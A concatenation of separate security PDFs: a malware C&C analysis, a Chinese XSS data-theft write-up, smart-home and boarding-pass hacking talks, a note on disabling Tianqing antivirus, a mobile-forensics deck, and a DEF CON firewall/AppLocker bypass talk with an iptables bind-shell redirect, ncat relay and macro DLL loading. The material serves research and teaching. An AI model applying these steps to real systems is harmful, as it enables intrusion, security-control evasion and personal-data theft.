which lets assume that certain amounts of data to be sent to the C&C is compressed. This helps obfuscation and reduces network traffic. 7.3.2 directory_listing This method walks a given directory and lists file entries plus the information if the containing directory contains a “..” entry. This indicates that it has a parent directory. The final list is not compressed before sending it to the C&C. 7.3.4 directory_listing2 This method accepts a path to a directory and lists all entries plus the information if the object is a file or a directory, indicated by 0 or 1. This list is then compressed and sent to the C&C server. 7.3.5 create_directory This method accepts a character string as argument and creates an equally named directory on disk. This is followed by a notification to the C&C server. 7.3.6 copy_file This method can copy a given file or list of files to a given place on disk. Afterwards another message to the C&C server is sent. 7.3.7 delete_file This method can delete a given file or list of files from disk. Afterwards another message to the C&C server is sent. 7.3.8 rename_file This method can rename one file on disk. Afterwards another message to the C&C server is sent. 29 | P a g e 7.3.9 write_to_file An unidentified character string is written to a file on disk. 7.4 Other Operations 7.4.1 get_volume_info Requests information about file system volumes and tries all possible drive letters beginning with A:\ to retrieve it. More specifically it requests the volume names and saves them to a buffer. These names are then sent to the C&C server. 7.4.2 get_window_text This method enumerates the title bar texts of all uppermost desktop windows of each running process, if the window is not hidden or overlapped. This list is packed and sent to the C&C server. This way the attacker can get a clue what desktop applications are running at the moment. 7.4.3 check_for_fingerprint Reads a file (file2, cmp. attachment[2]) from the systems %TEMP% directory and checks if its content matches the samples fingerprint as mentioned when describing the malwares startup procedure. 7.4.4 smss_sysinu_tempfiles Reads file2 from the systems %TEMP% directory, modifies its content and copies it back to %TEMP% twice, once called %TEMP%\smss.exe and once %TEMP%\sysinu.dll. 7.4.5 dat_file_createwrite This function fulfills various purposes. The C&C command is broken down into three defined cases. The method can either create file2, same as used in smss_sysinu_tempfiles and check_for_fingerprint, in the %TEMP% directory, or split a path down to create directories, so to say create the directory path from scratch and place a new file into it. The file is created empty and filled at a later point in time. This would be case 3, when the C&C command indicates another execution path, where first a notification is sent to the server and then a predefined value is written to file2. Creating and filling another fingerprint file could be an additional method for managing the different instances of the malware on the system. Also it could be used helping in a self-update mechanism. 30 | P a g e 7.5 Desinfection Routine The disinfection routine is called from thread0, the initial thread, when a specific unnamed event is set signaled. The routine starts by replacing its own image on disk with the hidden original file, if there exists one. This is achieved by deleting its own image, removing the hidden attribute from the original and renaming it back to original.exe. Afterwards it enumerates again all executable images that are registered for being loaded on startup in selected registry keys. Same happens with the enumeration of running processes, just as mentioned in the description of the file_infector thread. With this list prepared the routine calls the disinfection method also on other potentially infected images and cleans them. Finally a method is called that walks recursively through all volumes of the system, checks for files that end with “.exe” and checks for an infection by searching for a hidden original. If infected the file in question is cleaned. 31 | P a g e 8. Conclusions The malicious sample at hand is highly-sophisticated in its operation and indeed very interesting. Analysis is challenging due to obfuscation methods and junk code, as well as numerous virtual function calls that are hard to resolve. Debugging is problematic due to the multi-threaded design and has its constraints as no responses from the C&C server were received. The functionality of the malware is found to be considerably dangerous and extensive. The malware can basically take full control over the system. It can spy a great amount of information, from screenshots and live captures, to directory listings and running desktop applications. It can execute other applications, shut down its own process, copy, rename or delete files on disk, eventually even download other executable and update itself. On the other side some possible weaknesses were identified too. The sample does not make use of a runtime packer or encryption layers. The anti-debugging measures were quite quick to pass by. The file infection routine is not polymorph, it is easy for anti-virus software to detect every sample of this variant. It is not clear if this was intention of the malware author, but the sample implements various outdated or deprecated Win32 API calls, as for example SHFileOperation. Various questions are still open and would be of interest for further analysis. The inter-thread communication via critical sections could be analyzed and most likely would reveal a lot more insight on how the threads really operate. The communication protocol from bot to server would be of high interest. Some functionality of the documented C&C command processing methods is still unclear. 32 | P a g e Sources [1] MSDN Library (Microsoft Software Developer Network) http://msdn.microsoft.com/ [2] „A Crash Course on the Depths of Win32 Structured Exception Handling“, Matt Pietrik http://www.microsoft.com/msj/0197/exception/exceptionfigs.htm#fig4 [3] „Reversing Microsoft Visual C++ Part II: Classes, Methods and RTTI“, OpenRCE Library http://www.openrce.org/articles/full_view/23 [4] „Console Processes with Redirected Standard Handles“, MS Knowledgebase http://support.microsoft.com/kb/190351 Attachments 1_API_Offsets.xls 2_Events_Filenames.txt 3_Imports.png API Offsets Events & Filenames event1 AB8D393B-9177-440D-B3F8-1C1FE0CF9692 event2 A37340FD-F043-41e3-9C16-2F2632387199 check for running mw instance event3 83D33F3A-9482-446F-ABFF-7B69D58C1634 check for fingerprint file file1 FF24CF9A-EE48-4CDE-AC10-15D1CE2C272C fingerprint file file2 A041D349-C68A-45C0-9081-536BC43BB0FF used in dat_file_createwrite, in check_datfile compared against fingerprint file3 50030006-9D06-426F-936B-FFE0B81D5913 file for storing captures made with create capture window file4 C94A6BBB-4B51-4A8D-A49F-F184A27A972E file for storing screenshots, made with GDI DCA temp1 FBCA78D4-024F-47E8-9851-C42C9626CC5A file for temporary use, deleted immediately temp2 EF724F56-1CBE-4F84-A7AE-D31B2671B616 file for temporary use, deleted immediately Imports
pdf
0x01 前奏 前不久在挖掘某SRC时提交漏洞时,偶然在该SRC官⽹的编辑器发现了⼀个接⼝。 起初以为是任意⽂件包含能RCE了,后来测试发现只是拼接读取了远程资源站的图⽚,原本都想着放弃了,但是当 我在后缀添加了个+号后图⽚被意外的解析成了HTML⻚⾯,这不就意味着get到⼀个存储型XSS? https://xxx.cn/xxxx/ueditor?image_name=/xxx.png+ 接着测试发现拼接图⽚在⼀个⼆级⽬录下,尝试穿越发现存在⾃研WAF,于是Fuzz了下Payload成功Bypass。 #####WAF: #####Bypass: Payload: 0x02 漏洞利⽤ 1. 利⽤010Editor或copy命令,制作含有恶意代码的图⽚。 copy tiny.png /b + code.txt /a tiny_code.png 2. 通过本站的⽂件上传恶意图⽚,取得⽂件名(之所以⽤png格式是因为jpg会校验是否为正常图⽚)。 3. 由于该SRC官⽹财务打款需要⼿机个⼈信息(姓名,⼿机号,sfz等),⽽这些信息⽤户⾃⼰是可⻅的。 我们直接编写了⼀个demo.js⽤于读取受害者个⼈信息,将其部署在XSS平台。 /..%252F/ 脚本会通过Ajax请求URL,使⽤DOMParser转换并解析DOM对象,提取⽤户身份证、银⾏卡、⼿机号、地址 等信息后合并base64发送到XSS平台,找了团队的⼏个朋友测试OK。 4. 构造跳转⽹站,诱导受害者访问: 这时只要受害者访问该服务,跳转⾄恶意⻚⾯就能获取信息。 成功窃取到受害者的信息,base64解码即可。 0x03 技术点总结 1. Fuzz出接⼝及参数,拼接+号解析成HTML⻚⾯。 2. URL拼接时BypassWAF进⾏⽬录穿越。 3. 使⽤DOMParser转换为DOM对象并提取表单input值,后通过window.btoa函数base64编码字符串。
pdf
© 2012 Presented by: Home Invasion v2.0 Attacking Network-Controlled Embedded Devices Daniel “unicornFurn © 2012 © 2012 • Who are we? © 2012 The Presenters • Daniel “unicornFurnace” Crowley – Managing Consultant, Trustwave (SpiderLabs team) • Jennifer “savagejen” Savage – Software Engineer, Tabbedout • David “videoman” Bryan – Security Consultant, Trustwave (SpiderLabs team) © 2012 © 2012 • What are we doing here? © 2012 The “Smart” Home Science fiction becomes science fact Race to release novel products means poor security Attempt to hack a sampling of “smart” devices Many products we didn’t cover Android powered oven Smart TVs IP security cameras © 2012 © 2012 • What’s out there? © 2012 Belkin WeMo Switch © 2012 Belkin WeMo Switch 1. Vulnerable libupnp version 2. Unauthenticated UPnP actions 1. SetBinaryState 2. SetFriendlyName 3. UpdateFirmware © 2012 MiOS VeraLite © 2012 MiOS VeraLite 1. Lack of authentication on web console by default 2. Lack of authentication on UPnP daemon 3. Path Traversal 4. Insufficient Authorization Checks 1. Firmware Update 2. Settings backup 3. Test Lua code 5. Server Side Request Forgery 6. Cross-Site Request Forgery 7. Unconfirmed Authentication Bypass Vulnerable libupnp Version © 2012 INSTEON Hub © 2012 INSTEON Hub 1. Lack of authentication on web console 1. Web console exposed to the Internet © 2012 Karotz Smart Rabbit © 2012 Karotz Smart Rabbit 1. Exposure of wifi network credentials unencrypted 2. Python module hijack in wifi setup 3. Unencrypted remote API calls 4. Unencrypted setup package download © 2012 Linksys Media Adapter 1. Unauthenticated UPnP actions © 2012 LIXIL Satis Smart Toilet © 2012 Radio Thermostat 1. Unauthenticated API 2. Disclosure of WiFi passphrase © 2012 SONOS Bridge © 2012 SONOS Bridge 1. Support console information disclosure © 2012 © 2012 • DEMONSTRATION © 2012 © 2012 • CONCLUSION © 2012 Questions? Daniel “unicornFurnace” Crowley dcrowley@trustwave.com @dan_crowley Jennifer “savagejen” Savage savagejen@gmail.com (PGP key ID 6326A948) @savagejen David “videoman” Bryan dbryan@trustwave.com @_videoman_
pdf
How to get good seats in the security theater? Hacking boarding passes for fun and profit Przemek Jaroszewski przemj+defcon24@gmail.com $ whoami • head of Current Threat Analysis team at the Polish national CSIRT (CERT Polska) • 10+ years of education in programming • Master’s degree in social psychology • 15 years of experience in IT security • aviation enthusiast, unrealized air traffic controller Up in the Air • FF miles are nice, but status in nicer Except when improvements don’t work… IATA Resolution 792 • Paper • PDF417 • Mobile • QR Code • Aztec • DataMatrix Bar-Coded Boarding Pass M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1JAROSZEWSKI/PRZEMYSLE56XXXX WAWCPHSK 2762 666C009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G Where did we get? • Free Fast Track for all travellers M1COLUMBUS/CHRISTOPHERE56XXXX WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G M1COLUMBUS/CHRISTOPHERE56YYYY WAWCPHSK 2762 666M009C0007 666>10B0 K6161BSK 2511799999153830 SK A3 199999999 *3000500A3G Where did we get? • Free Fast Track for all travelers Wait, this is not news! • Bruce Schneier (2003): Flying On Someone Else’s Airplaine Ticket • Andy Bowers (2005): Dangerous Loophole in Airport Security • Bruce Schneier (2006): The Boarding Pass Brouhaha • Christopher Soghoian (2007): Insecure Flight: Broken Boarding Passes and Ineffective Terrorist Watch Lists • Jeffrey Goldberg (2008): The Things He Carried • Charles C. Mann (2011): Smoke Screening No Fly List Bypass (in 2006) • Buy tickets under false name • Print your boarding pass at home • Create a copy of the boarding pass with your real name • Present the fake boarding pass and the real ID to TSA officers • Present the real boarding pass to gate agents • Fly No Fly List Bypass (in 2016 Europe) • Buy tickets under false name • Print your boarding pass at home • Fly Impacting factors: • Particular airline’s business consciousness • Temporary security checks So… Where is passenger data stored? • Computer Reservation Systems (CRS) allow for storage and processing of Passenger Name Records (PNR) containing: • personal data (names, contact details) • reservations (airlines, hotels, cars, …) • issued tickets • special requests • loyalty programs data • Dozens of CRSs exist • GDS (eg. Sabre, Amadeus, Galileo, Worldspan, …) • proprietary ones • One reservation may result with multiple PNRs in different CRSs • Data access is limited not only across CRSs, but across different parties … and then on to other systems • Departure Control System (DCS) – check-in info • Advance Passenger Information (API) – to border agencies • PNRGOV – to government agencies • Secure Flight Source: IATA Paper is just a bit less fun… • MS Word is a great PDF-editing tool • Most likely barcode will be scanned anyway, so it needs to reflect the printed information Lounge access • Contract lounges • no way to verify eligibility • may require an invitation issued from the airline at check-in • Airline-operated lounges • may have access to passenger records … • … but only for own passengers! • automatic gates increasingly popular (eg. SAS lounges in CPH, OSL; Turkish lounge in IST) Show time! Duty Free Goods • In many countries goods are sold directly to the passenger (liquors sealed in a plastic bag) • Eligibility is determined based on destination (eg. EU/Non-EU) Where did we get? • Free Fast Track for all • Free lunch and booze for all • Duty free shopping for all Digital Signature • In 2008 IATA extended BCBP standard with support for digital signatures based on PKI • The field is "optional and to be used only when required by the local security administration" • The field has variable length, with specific algorithm etc. determined by the authority • Private keys owned by airlines, public keys distributed to third parties • TSA enforced for US carriers BCBP XML • In 2008 IATA proposed Passenger and Airport Data Interchange Standards (PADIS) XML to be used for exchange of BCBP data between airlines and third parties, such as lounges or security checkpoints • The terminal would send a message consisting of a header and full BCBP content • The airline would reply with a Yes/No, along with a reason and optional free text Source: BCBP Working Group Secure Flight • Program implemented by TSA in 2009 to match passenger data against watch lists such as No Fly List and Selectee List • In 2013 TSA started networking CAT/BPSS devices to pull passenger data from Secure Flight, including: • Passenger’s full name • Gender • Date of birth • Screening status • Reservation number • Flight itinerary (in order to determine which airports receive data) Is it a vulnerability? • LOT Polish Airlines: - Please contact Warsaw Airport about this issue as they’re responsible for boarding pass scanning systems. • Warsaw Airport: - It’s a known issue, but not a problem. We’re compliant with all CAA guidelines. • Civil Aviation Authority for Poland: - Boarding pass forgery is a crime since they are documents. • Me: - Can you have a legally binding document without any form of authentication? • Civil Aviation Authority for Poland: - Oh, go f*** yourself! Is it a vulnerability? • Turkish Airlines: - Please be inform that, we have already shared your contact details with our related unit, to get in touch with you as soon as possible. • SAS: - We appreciate that you have taken the time to send us your feedback, as this is crucial for us to improve our services. • TSA: awkward silence Will it fly? •NO. •Seriously. Don’t try! But you can have a nice souvenir + = Sources/Further reading • IATA: BCBP Implementation Guide http://www.iata.org/whatwedo/stb/documents/bcbp_implementation_guidev4_jun2009.pdf • IATA: Bar-Coded Boarding Passes FAQ https://www.iata.org/whatwedo/stb/bcbp/Documents/bcbp-faqs.pdf • IATA: Passenger and Airport Data Interchange Standards (PADIS) Board http://www.iata.org/whatwedo/workgroups/Pages/padis.aspx • TSA: Privacy Impact Assessment for the Boarding Pass Scanning System https://www.dhs.gov/xlibrary/assets/privacy/privacy_pia_tsa_bpss.pdf • TSA: Secure Flight • BCBP Working Group: Business Requirements: BCBP Data Exchange http://www.aci.aero/media/aci/file/aci_priorities/it/doc0803_brd_bcbp_xmlfinal.pdf • Bruce Schneier: Flying On Someone Else’s Airplane Ticket https://www.schneier.com/crypto-gram/archives/2003/0815.html#6 • Bruce Schneier: The Boarding Pass Brouhaha https://www.schneier.com/essays/archives/2006/11/the_boarding_pass_br.html • Andy Bowers: A Dangerous Loophole in Airport Security http://www.slate.com/articles/news_and_politics/hey_wait_a_minute/2005/02/a_dangerous_loophole_in_airport_security.html • Christopher Sokhoian: Insecure Flight: Broken Boarding Passes and Ineffective Terrorist Watch Lists http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1001675 • Jeffrey Goldberg: The Things He Carried (The Atlantic) http://www.theatlantic.com/magazine/archive/2008/11/the-things-he-carried/307057/ • Charles C. Mann: Smoke Screening (Vanity Fair) http://www.vanityfair.com/culture/2011/12/tsa-insanity-201112 • Brian Krebs: What’s in the Boarding Pass? A lot http://krebsonsecurity.com/2015/10/whats-in-a-boarding-pass-barcode-a-lot/
pdf
HVV 之不需要密码永久退出 LM 天擎 1. 又要到护网了,还记得去年护网客户问我天擎退出密码是多少,说想安装软件 安装不上去。 2. 我心想,好家伙,这谁家的软件这么流氓。 3. 不需要逆向这么麻烦的方法,其实很简单,重启之后进入安全模式,这个时 候天擎是没有启动的。 4. 然后进入天擎的安装目录,这个时候天擎的安装目录名称是 Tianqing 5. 然后把目录修改成 Tianqing6666 6. 最后重启进入正常模式,因为目录名字变了,天擎的自启动也就失效了. 7. 如果后面用到的时候手动启动 TQSafeUI.exe 就可以了
pdf
【手機鑑識技術及實務分享】 鑒真數位有限公司 黃敬博 (po@iforensics.com.tw) 時間:2011/07/23 Page  2 Agenda Trend of Mobile Forensics Smart Phone Forensics Focus Commercial Solutions Q & A Page  3 Mobile Phone Subscribers Page  4 Computers versus Mobiles Mobiles are supplanting traditional computing – it is now predicted by the end of 2011, that sales of “smart-phones” alone will have passed that of computing devices Page  5 Spot the difference? Page  6 Mobile Devices Forensics Scope Watch Phone Sim Card Phone / Smartphone Memory Stick / SD Card GPS Mobile Modem Media Device Tablet Page  7 Mobile Forensics Key Factors 2011 April 基礎手機鑑識 SIM Handset Memory Card SIM Memor y Card Handse t SIM-ID Cloner Device Memory Card Reader The Best Easy Forensics Tools: 1. FTK Image Light 2. Forensics Card Reader 3. SIM Card Reader Page  9 What evidence can we expect in a mobile today?  Contacts  Calls (dialled, missed, received)  Text Messages (SMS) & Multimedia (MMS)  Times / Dates  Pictures, Audio and Video Images  Tasks / Notes / Calendars  Application Files  Bluetooth Pairing  Maps, GPS Locations  E-mail, browser History  Smartphone ‘App’ Data – Facebook, Skype, Gmail etc… Page  11 Evolution of data storage and Forensics focus Sim Phone Memory Card Apps The Cloud Page  12 Mobile Device Market Trend – December 2010 Page  13 Smartphone Market Share Page  14 Complicated Forensics focus in APPs 3rd party Apps... What doesn’t it do? Accounts  E-mail, ICQ Free, AOL Instant Messenger Bookmarks  Web browser, Google Maps Dynamic Keyboard Cache History  Web browser, Google Maps, YouTube, Google Earth IP-telephony  Skype, Viber Messaging  Skype, Viber, WhatsApp, Yahoo Messenger, AOL Instant Messenger Navigation Data  TomTom Social Engineering  Facebook  Twitter 14 Gmail Calendar Talk YouTube Contact Search Maps Android ( Google APP World) Page  16 Mobile Forensics Approach ZRT Project A Phone XRY or UFED Logical /Paraben/Oxygen/Mobile Edit/Data Pilot XRY / UFED Physical Salavation Flash Reader/ PC3000 Flash SSD Research Purpose /No commercial product Page  17 ZRT System Page  18 What Can a Logical Extraction Retrieve? Live SIM data can be retrieved Live handset data can be retrieved Only deleted SMS can be retrieved (using card reader) Deleted handset data cannot be retrieved LIVE DELETED Backup Software iTunes Extraction (Logical) … Deleted data in SQLite Db remains – Why? © Micro Systemation AB 2011 SMS, Calls, Voicemail and Notes etc Live and Deleted Data • On the iDevice the Logical extraction retrieves the SQLite database – Same thing as a Physical dump of the data • iOS Live and Deleted data such as – SMS, Calls, Voicemail and Notes are never erased, only the pointers are re- arranged 20 Physical Extraction © Micro Systemation AB 2011 • Benefits – Full device image – Carve live & deleted data with Good Tools (The best tool “XACT” free to be downlowded) – Export live data using 3rd party tools • Issues with a Physical Extraction – Not possible on passcoded devices – Jailbroken is a key – Newer iDevices together with iOS 4 or later are very hard to decode due to hardware encryption 21 Flashboxes Engineering Mode • No official support, Risky • Not friendly User Interface, Easy to destroy • Many different Boxes for different phones Sony Ericsson K610i 2011 April + 886932400872 (Service Center) + 886932400841 (Service Center) 後面電話號碼長度 後面電話號碼長度 + 886922606653 (發送者電話號碼) + 886933585683 (發送者電話號碼) 時間: 2010/11/26 21:59:46 +8 時間: 2010/11/27 15:03:45 +8 後面簡訊長度 後面簡訊長度 您有 0933585683 未留言 來電1通,11/26 21:59, 中華電信來電捕手提醒您 回覆重要電 獨家好康:下載棒棒堂動 人情歌【最佳男配角】, 手機直撥760輸入283444, 再抽棒棒堂限量海報、棒 棒堂專輯!更多獨家歌曲 詳emome音樂 Chip-off – Advanced Data Analysis Commercial Forensics Products Remote wipe ?! • Farady Box • Phone Jammer iOS JB steps(all versions) • 精靈找工具Jailbreak-me.info • Download http://www.felixbruns.de/iPod/firmware/ • Firmware must be the same as your iphone version • 用工具打開韌體 IPSW • 工具會修改 IPSW • 工具會提示準備進入 “DFU Mode” (進入BIOS) – 手機關機,USB連線插入 – Home + Lock 按住不放 7 秒 – 白蘋果出現,繼續按 – 白蘋果消失,繼續按住 Lock 3 秒,放開 Lock – 到這裡都不放開 Home,繼續按住 10 秒 – 螢幕不會顯示畫面,但會亮起來,電腦會抓到DFU裝置 • 工具Next 會完成JB iPhone JB Digging • Dig all app “accounts” name in iPhone • Dig last input Keyboard text • Google Maps History log • Application/Snapshot/ have the last screen shut • Consolidated.db – Have all records of your tracks – Use XRY map to Google Earth Android Phone Case Study: Android Free JB tool • Connect the Phone to PC – Download and install ‘SuperOneClick’ – Install Phone Driver,depends on each phone – Phone Turn on USB Debug Mode • Use “Shell Root” to JB Android phone Full NAND Backup • Best Method, Forensically Sound • Idea is similar to LiveCD Boot then dd image • For all Android and iOS with most iBoot (Except iPad2) NAND Flash System Partition User Data Partition Recovery ROM Or RAMDisk iTunes Backup Logical Backup Physical Jailbreak Physical Ramdisk 要錢? Free $$$ $$$ Free 對象 電腦硬碟 裝置 裝置 裝置 PassCode密碼 需GPU破加密 沒密碼就沒轍 無影響 無影響 證物完整性 Write-block Write-block 會寫入資料 Write-block 使用者資料* V V V V App 程式資料 不完整 不完整 V V 系統資料 少數 過去GPS座標/網路SSID** 完整 程式關閉畫面 已刪除資料 X X V (用DD挖出) V (用DD挖出) 資料整理 iBackupbot PhoneView UFED/XRY 最有組織性 要自己動手挖 要自己動手挖 所需時間 16GB或32GB 10~20min 可能很久沒同步 UFED 4~8Hr XRY 10~20min UFED 6-10Hr XRY 30~50min DD 50~100min * 系統的電子郵件從 iOS 4 開始硬體AES加密,尚未有方法解密 刪除的資料如簡訊、聯絡人若SQLite尚未覆蓋可能解出 ** iOS 4.3.2 開始僅紀錄有限時間內的GPS座標 Smart Phone Extraction Methods 如何 decode dd 出來的 DMG? • 正常大小 – System 510mb, 750mb, 1000mb 左右 – Data 14.2G or 30.2G 左右 • Mac OS X 可以直接掛載 – Mac 上的檔案救援軟體都可使用 – 檔案系統叫做 HFS+ 的 iOS 特別版 • iFunbox 工具(只能看到未刪除) • FTK 3.x 版(解出目錄和檔案+Unallocate) • XRY Physical decoding , or use XACT 分析 • 用EnCase V7 版smpart phone mobule解析 Suggest of Solutions • Best and Easy approach ( $$$ cost!) – XRY Office Complete (3 phones in a time!) • Very fast and have the most detailed report – UFED + Physical Pro (Easy to use) – EnCase (New smart phone module) • No budget: – XACT (Free downloaded from XRY) – iFunbox /SuperOneClick – SQLite/Plist Editor – FlashBox… Q&A Thanks for your attention , courtesy for MSAB marketing information More demo videos can be downloaded from: http://www.iforensics.com.tw/ po@iforensics.com.tw
pdf
Bypass firewalls, application white lists, secure remote desktops in 20 seconds Zoltan Balazs DEF CON 22, 2014 root@kali:~# whoami Zoltán Balázs root@kali:~# whoami root@kali:~# whoami AV testing AV bypass root@kali:~# whoami OSCP: Occasional Satire Captain Punk CISSP: Certified Interspecie-ial Sheep Shearing Professional CPTS: Certified Pajama Toaster Specialist MCP: Microsoft Certified Psychopath OSWP: Official Sexiest Weasel Popstar CHFI: Chronic Hopeless Flux Incompetent I’m NOT a CEH CyberLympics@2012 CTF 2nd runners up – gula.sh Creator of the Zombie Browser Toolkit https://github.com/Z6543/ZombieBrowserPack Hungary I love hacking How do you hack high security systems? How do you hack high security systems when you are not Tom Cruise? The mission I’m a spy (with low budget) I want access to a hardened secure RDP (remote desktop) server E.g. server contains confidential documents I need persistent C&C access to the RDP server To upload/download files Interactive remote code execution The solution (in an ideal world) Infected workstation Secure remote desktop server 1. Infect client’s desktop 2. Steal RDP password 3. Connect to RDP 4. Drop malware 5. Command and Control 6. Profit The challenges RDP server is not reachable from the Internet Directly … Two factor authentication is used to access the RDP server No access to the token seeds ;) Drive mapping disabled – no direct file copy Restrictive hardware firewall Allows workstation -> server TCP port 3389 IPv4 only Application white list is used on the RDP server M$ Applocker in my case with default policy Firewall, port 3389 allowed only Is this realistic? Similar environment at a client •Had no time to hack it Infected workstation Secure remote desktop server Target Company The Internet Attacker Firewall, port 3389 allowed only “In hacking, there is no such thing as impossible. Only things that are more challenging.” Already achieved I have remote code execution with C&C on a user’s workstation I have access to a test RDP server I know how the files on the server look like, what services are installed This is Spartaaaa post-exploitation Why should you care about this? Red team/pentester • New tools Blue team • New things to look for during log analysis/incident response Policy maker/business • Funny pictures Divide et impera! Divide the problem into smaller pieces and rule them all, one by one 1. drop malware into the RDP server 2. execute any code on RDP server 3. elevate to admin privileges 4. bypass hardware firewall Divide et impera! Divide the problem into smaller pieces and rule them all, one by one 1. drop malware into the RDP server –> new shiny tool 2. execute any code on RDP server –> nothing new here 3. elevate to admin privileges –> nothing new, no 0day for you 4. bypass hardware firewall -> new shiny tool 1. Drop malware into RDP server 1. Drop malware into RDP server Malware waits for the user to connect to RDP server Creates screenshot (or new animation), show in foreground Optionally blocks user keyboard, mouse ~20 seconds Uses the keyboard and the clipboard – simulates user 1. Starts M$ Word on RDP server 2. Drops encoded ASCII payload 3. Creates Macro code 4. Macro writes binary 5. Macro starts binaries Alternative usage of “user simulator” 1. Add directory to be excluded from AV scans use the AV GUI! only if the user has the privileges and no UAC 2. Install new trusted root certification authority and accept warning – and MiTM SSL connections CA pinning does not stop this attack The AV is alive. Nope, Chuck Testa ™ 2. What is Applocker? 2. Execute any code, bypass Applocker „AppLocker can only control VBScript, JScript, .bat files, .cmd files and Windows PowerShell scripts. It does not control all interpreted code that runs within a host process, for example Perl scripts and macros. Applications could contain flags that are passed to functions that signal AppLocker to circumvent the rules and allow another .exe or .dll file to be loaded. The administrator on the local computer can modify the AppLocker policies defined in the local GPO.” Execute any code, bypass Applocker Load DLL with Word Macro! Even shellcode execution is possible! http://blog.didierstevens.com/2008/06/05/bpmtk- how-about-srp-whitelists/ Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long hLibrary = LoadLibrary(outputdir + "\hack_service.dll") 3. Elevate to admin 3. Elevate to admin Why do I need admin? • It is needed for the last phase, hardware firewall bypass Possibilities • Local priv esc zero day for Win 2012 • Exploit unpatched vulnerability • Exploit vulnerable 3rd party program service • Etc. Processes started with admin (or higher) privileges are not restricted by AppLocker! Elevate to admin - Service exploit C:\> accesschk.exe –l mvulnservice.exe [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\TERMINAL SERVER USER FILE_APPEND_DATA FILE_EXECUTE FILE_READ_ATTRIBUTES FILE_READ_DATA FILE_READ_EA FILE_WRITE_ATTRIBUTES FILE_WRITE_DATA FILE_WRITE_EA SYNCHRONIZE READ_CONTROLs C:\> sc sdshow myvulnservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRCRPWP;;;IU)(A;;CCLCSWLOCRRC;;;SU) Elevate to admin - Service exploit C:\> accesschk.exe –l mvulnservice.exe [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\TERMINAL SERVER USER FILE_APPEND_DATA FILE_EXECUTE FILE_READ_ATTRIBUTES FILE_READ_DATA FILE_READ_EA FILE_WRITE_ATTRIBUTES FILE_WRITE_DATA FILE_WRITE_EA SYNCHRONIZE READ_CONTROLs C:\> sc sdshow myvulnservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRCRPWP;;;IU)(A;;CCLCSWLOCRRC;;;SU) Allow Service start Service stop Interactively logged on user Quiz Quiz What’s the name of the company which published the first paper about packet filter firewalls in 1988? Quiz What’s the name of the company which published the first paper about packet filter firewalls in 1988? The company developed VAX Quiz What’s the name of the company which published the first paper about packet filter firewalls in 1988? Digital Equipment Corporation 4. Bypass hardware firewall Restrictive firewall • No Bind shell • No Reverse shell • No covert channel • DNS, ICMP, IPv6, UDP, proxy • No shell!!! In a different scenario • TCP socket reuse shell possible (not persistent) • Webshell (lame) possible • But not in this case (no exploit, no webserver) 4. Bypass hardware firewall First (bad) idea After malware dropped, mark every packet to be special • start with magic bytes and let a kernel network filter driver select the packets Problem • Every (hacker) application has to be rewritten, or rerouted through a custom wrapper proxy (both server and client side) Bypass HW firewall – second idea Use TCP source port! • E.g. port 1337 is always special Limitations • NAT from the attacker side • But who cares? Bypassing hardware firewalls Linux Use code at Kernel level (with root) if ((tcp_source_port === 1337) && (tcp_dest_port === 22)) then: redirect to bind shell on port 31337 iptables -t nat -A PREROUTING -p tcp --dport 22 -- sport 1337 -j REDIRECT --to-ports 31337 Attacker or infected workstation Firewall, port 3389 allowed only Secure remote desktop server Src port 1337 Dst port 3389 Dst port 3389 Dst port 31337 Bypassing hardware firewalls on Windows x64 Installing a kernel driver in Windows x64 is not trivial • Trusted signed driver is needed Thanks to basil for WinDivert project (and Nemea Software Development) • Trusted signed kernel driver already included! • You can interface with the kernel driver Alternatively, patchguard bypass could be used http://www.codeproject.com/Articles/28318/Bypassing- PatchGuard Uroburos rootkit – Bring Your Own Vuln Install root CA first with user simulator ;) How to set TCP source port for meterpreter bind shell (or any program)? Netcat (Nmap build) to da rescue! ncat -kl 4444 -c "ncat -p 1337 RDP.SER.VER.IP 3389" Demo Alternative usage of “hw fw bypass” You have admin on webserver but persistent outbound C&C is blocked Instead of local port forward, use netcat to port forward to other machines in the DMZ Backdoor traffic to hide your communication inside the legit network traffic The solution – as a whole Malware waits for the user to login to RDP with 2FA Create screenshot from user desktop Put screenshot on the screen Disable keyboard/mouse Drop malware by simulating user keyboard events + clipboard for large (ASCII) data transfer Start WORD, create new macro code Bypass application whitelist using DLL loading from Word macro code The solution Escalate privileges to admin (vulnerable service) Install hwfwbypass.exe with kernel driver Drop meterpreter Profit! Demo Demo 2 – as seen by the user Lessons learned for red team You have two new tools for your post exploitation • tool to drop malware into the remote desktop • If you have admin on a Windows server, you can bypass/fool hardware firewalls using my driver Lessons learned for the blue team Every additional layer of security can still be bypassed Restricted remote desktop is a real interface for malware infection Use application/protocol aware (NG) firewall instead of port based ones Can be bypassed ;) Don’t trust your firewall logs blindly Code release now? References http://reqrypt.org/windivert.html http://inputsimulator.codeplex.com/ - modified http://www.blackhat.com/presentations/bh-usa-06/BH- US-06-Tereshkin.pdf http://blog.didierstevens.com/2011/01/24/circumventing- srp-and-applocker-by-design/ http://www.room362.com/blog/2014/01/16/application- whitelist-bypass-using-ieexec-dot-exe http://leastprivilege.blogspot.fr/2013/04/bypass- applocker-by-loading-dlls-from.html?m=1 https://www.mandiant.com/blog/hikit-rootkit-advanced- persistent-attack-techniques-part-2/ one more thing … two more things … User simulator available as Metasploit post module HW FW bypass available as Metasploit post module Hack The Planet! https://github.com/MRGEffitas/Write-into-screen https://github.com/MRGEffitas/hwfwbypass zoltan.balazs@mrg-effitas.com 